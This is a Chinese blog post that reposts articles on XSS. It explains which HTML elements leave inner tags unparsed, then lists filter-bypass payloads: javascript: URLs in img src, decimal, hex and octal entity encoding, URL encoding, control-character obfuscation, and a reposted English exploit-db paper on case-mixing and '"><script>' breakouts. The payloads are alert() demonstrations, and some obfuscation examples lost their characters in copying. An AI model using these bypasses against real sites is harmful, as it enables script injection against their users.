1. 程式人生 > >web安全-xss漏洞的原理和解決方案

web安全-xss漏洞的原理和解決方案

要符合“內部的html標籤不被解析”,我們根據HTML5的標準,分元素類別討論吧:

  1. Void Elements,如br等。
    他們不允許有內部文字。
  2. Foreign Elements,如svgmathml的相關標籤
    跟xml語法一致,他們內部文字若不想被當作標籤解析,只有用<![CDATA[]]>包裹
  3. RCDATA elements:即textarea 和 title
    他們不能巢狀自身,內部的實體會被轉義,內部的<不會被當作tag open解析。
    因此,他們內部的其他標籤自然不會被解析。
  4. Raw text elements:即script 和 style
    他們不能巢狀自身,內部的實體不會被轉義,內部的<
    不會被當作tag open解析。
    因此,他們內部的其他標籤自然不會被解析。
  5. Normal elements,普通的元素,基本上上列沒有提及的都屬於這一列,包括precode
    他們的特點是,內部的實體會被轉義,內部的<可能根據上下文,被當作tag open解析。
    他們內部的文字若想展示標籤文字而不解析,必須先轉義<&lt;>&gt;

如果目標是讓HTML標籤文字內容正常顯示而不被解析,最簡單的方案是嵌入到<script type="text/html"><script type="text/template">內部,並加上display: block

即可。

HTML4舊有的有xmplistingplaintext類似於HTML5的Raw text elements,可以包含標籤而不解析,內部實體不被轉義,但是已經在HTML5中廢棄。

例子:

複製程式碼
<!doctype html>
<html>
 <head>
  <meta charset="UTF-8">
  <meta name="Keywords" content="">
  <meta name="Description" content="">
  <title><script type="text/javascript"
>alert(111);</script></title> </head> <body> <textarea><script type="text/javascript">alert("textarea");</script></textarea> <script type="text/html" style="display:block"> <script type="text/javascript">alert("script type=text/html");</script> </script> <script type="text/template" style="display:block"> <script type="text/javascript">alert("script type=text/template");</script> </script> <style style="display:block"> <script type="text/javascript">alert("style style=display:block");</script> </style> <xmp> <script type="text/javascript">alert("xmp");</script> </xmp> <xmp> <script type="text/javascript">alert("xmp");</script> </xmp> fghfgh <plaintext> <script type="text/javascript">alert("plaintext");</script> </plaintext> <plaintext> <script type="text/javascript">alert("plaintext");</script> </plaintext> </body> </html>
複製程式碼

顯示效果:

看到並沒有執行javascript指令碼。

----------------------------------------分割線----------------------------------------

轉自:http://tuhaitao.iteye.com/blog/1126592

SQL注入的事件已經是上個世紀最令人頭疼的攻擊方法,21世紀又出現了HTML注入漏洞,隨著web飛速的發展,XSS漏洞已經不容忽視,簡單介紹一下XSS漏洞, 只要有使用者輸入的地方,就會出現XSS漏洞,例如在發表一篇帖子的時候,在其中加入指令碼。

1.HTML標籤注入:

  1. <script>alert('Hello World!')</script>
 很簡單,就是用alert輸出一個Hello World文字,如果在帖子內容裡,出現了這樣的語句,瀏覽器會執行這個指令碼: 

很多網站為了避免XSS的攻擊,對使用者的輸入都採取了過濾,最常見的就是對<>轉換成&lt;以及&gt;,經過轉換 以後<>雖然可在正確顯示在頁面上,但是已經不能構成程式碼語句了。這個貌似很徹底,因為一旦<>被轉換掉,什 麼<script src=1.js></script>就會轉換成“&lt;script src=1.js&gt;&lt;/script&gt;”,不能執行,因此,很多人認為只要使用者的輸入沒有構成<& gt;,就不能閉合前後的標籤,其語句當然也不會有害,但是,萬事總有可能,只要有一定的條件,我們就可以構造經過編碼後的語句來進行XSS,稍候我會提 到16進位制、8進位制轉換,以及混合轉換。

2. HTML屬性注入

於是程式設計師想辦法封堵這個漏洞,過濾了<script></script> 標籤,那麼在頁面上就不會執行這段js程式碼,

於是乎,黑客想了一個不用<script>標籤的辦法,注入html, 怎麼回事呢?

是這樣:

正常情況下,img的src標籤是指向一個web伺服器的圖片URL,但是也可以替換為:

<img src='javascript:alert("Hello world!")'>

這樣黑客通過繞道的形式,繞開了程式設計師的過濾,順利執行了XSS攻擊

程式設計師見況,同理有過濾了使用者輸入的src屬性,過濾掉裡邊的javascript開頭的關鍵字,暫時封堵了XSS。

3.ASCII 10進位制轉換繼續XSS

javascript:alert("Hello world!")可以用HTML 10進位制ASCII編碼代替:

格式:&#(ASCII10進位制編碼);

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert("Hello world!")

img標籤變為:

<img src='&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert("Hello world!")' />

ASCII 10進位制轉換,同樣適合於HTML標籤注入:

例如:

把<script>alert("Hello world");</script>標籤轉換成10進位制 ASCII轉義字元:

&#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#34&#72&#101&#108&#108&#111&#32&#119&#111&#114&#108&#100&#34&#41&#59&#60&#47&#115&#99&#114&#105&#112&#116&#62";

 接下來,使用URL編碼得到:

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%65%6C%6C%6F%20%77%6F%72%6C%64%22%29%3B%3C%2F%73%63%72%69%70%74%3E

然後放入到引數中:

http://www.test.com/a=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%65%6C%6C%6F%20%77%6F%72%6C%64%22%29%3B%3C%2F%73%63%72%69%70%74%3E

接著程式設計師用JSP得到引數

<% string str_a = rrequest.getParameter("a");%>

var a= <%=str_a%>

document.write(a);

同樣會引發XSS漏洞

4. ASCII 16進位制轉換

格式: &#x(ASCII16進位制編碼);

<img src="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('b')">

與10進位制ASCII轉義一樣,只不過換了一種進位制規則表示

5. ASCII 8進位制轉換

其實16進位制還有一種表現形式,與8進位制類似

格式:\x(ASCII 16進位制編碼)

格式:\(ASCII 8進位制編碼)

例如:

<script>alert("Hello world!");</script>

轉換為16進位制是:

\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x22\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x21\x22\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E

八進位制是去掉\後的x,數值轉換為8進位制數值即可,我就懶的自己轉了,有興趣大家可以試試

同樣以構造URL引數,或者HTML屬性的形式注入到HTML當中,即可產生XSS漏洞

6.  8進位制、10進位制、16進位制混合轉換

道理一樣,只不過一段程式碼中的進位制數混合,自由構造,組合比較多

7. 加入混淆字元

這 樣做的目的還是為了繞開程式設計師程式碼的過濾, 其中加入一些混淆轉義字元,在系統控制字元中,除了頭部的&#00(null)和尾部的(del)外,其他31個字元均可作為混淆字元,比如、 等字元都可插入到javascript或vbscript的頭部,其中Tab符 、換行符、回車符還可以插入到程式碼中任意地方, 當然還包括字母的大小寫混合;

這裡我摘抄了網上的一些例子:

例1:<img src="javascript:alert(/a/)"> '/插入到程式碼頭部,其中可寫成,效果一樣
例2:<img src="java scr ipt:alert(/a/)"> '/插入到程式碼中任意位置,其中 可寫成

例3:<IMG SRC="jav ascript:alert('XSS')"> '/ 是回車符的16進位制形式

例4:<IMG SRC="jav ascript:alert('XSS')"> '/ 是換行符的16進位制形式

這些是比較常用的例子,組合很多,變化多端, 有興趣大家可以自己研究一下:)

----------------------------------------分割線----------------------------------------

轉自:https://www.exploit-db.com/papers/15446/

Bypass XSS filters (Paper)

#############################################
#Title : XSS, how to bypass filters         #
#Author : k3nz0                             #
#Contact : [email protected]                   #
#Category : Papers                          #
#Website : k3nz0.com                        #
#############################################
#################Tunisian####################
##################Hacker#####################
#############################################

This lessons is devided into 3 parts : 
[1] Introduction
[2] Types of filters
[3] Conclusion

[1] Introduction : 
Nowadays, most of "securised" websites, make filters to don't allow cross site scripting "injections", however, we can bypass
these filters by using the methods shown below :) 

[2] Types of filters : 
We will learn, how to bypass these xss filters :
  [+]Bypass magic_quotes_gpc (if it's on )
  [+]Bypass with cryption in full html
  [+]Bypass with Obfuscation
  [+]Bypass with trying around method

############################################
[+]Bypass magic_quotes_gpc

When magic_quotes_gpc is on, it means that the server doesn't allow, ", / and ' (it depends)
to bypass it we use : 
String.fromCharCode()
We write our code, in the () crypted in ASCII
exemple : 
        String.fromCharCode(107, 51, 110, 122, 48)
(Here I crypted k3nz0 in ascii : 107, 51, 110, 122, 48
And we use it : 
<script>String.fromCharCode(107, 51, 110, 122, 48)</script>
We will see : k3nz0 
We bypassed magic_quotes_gpc :) 

#############################################

[+] Bypass with cryption in full html : 

Very simple, we have to encode our code in full HTTP!
Our code : <script>alert('i am here')</script>
And in full HTTP : 
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%69%20%61%6D%20%68%65%72%65%27%29%3C%2F%73%63%72%69%70%74%3E

Now, you can inject it :) ! 
Notice that you can use the tool "Coder" to do encode it in full HTTP 
We bypassed filter.

#############################################

[+] Bypass with Obfuscation : 

Very simple too, this filter, don't allows for exemple these words : 
-script
-alert

To bypass it, you change "script" with for exemple "sCriPt", and "alert" with "ALerT" ! 
For exemple : 
     <ScriPt>ALeRt("i am here")</scriPt>
We bypassed the filter.
##############################################

[+] Bypass with trying around method : 

Generally, it is in the searchs scripts, we just add "> at the begining to close current fields : 
exemple : 
http://target.com/search.php?search="><script>alert("hello")</script>


We bypassed the filter.

###############################################

[3] Conclusion : 

It was, how we can bypass xss filters, and how to inject our code :) 
This lesson is explained by k3nz0
Thank you for reading 

GREETZ : ALLAH ! Aymanos, v1r, kannibal615 , born to kill, & more.. 

################################################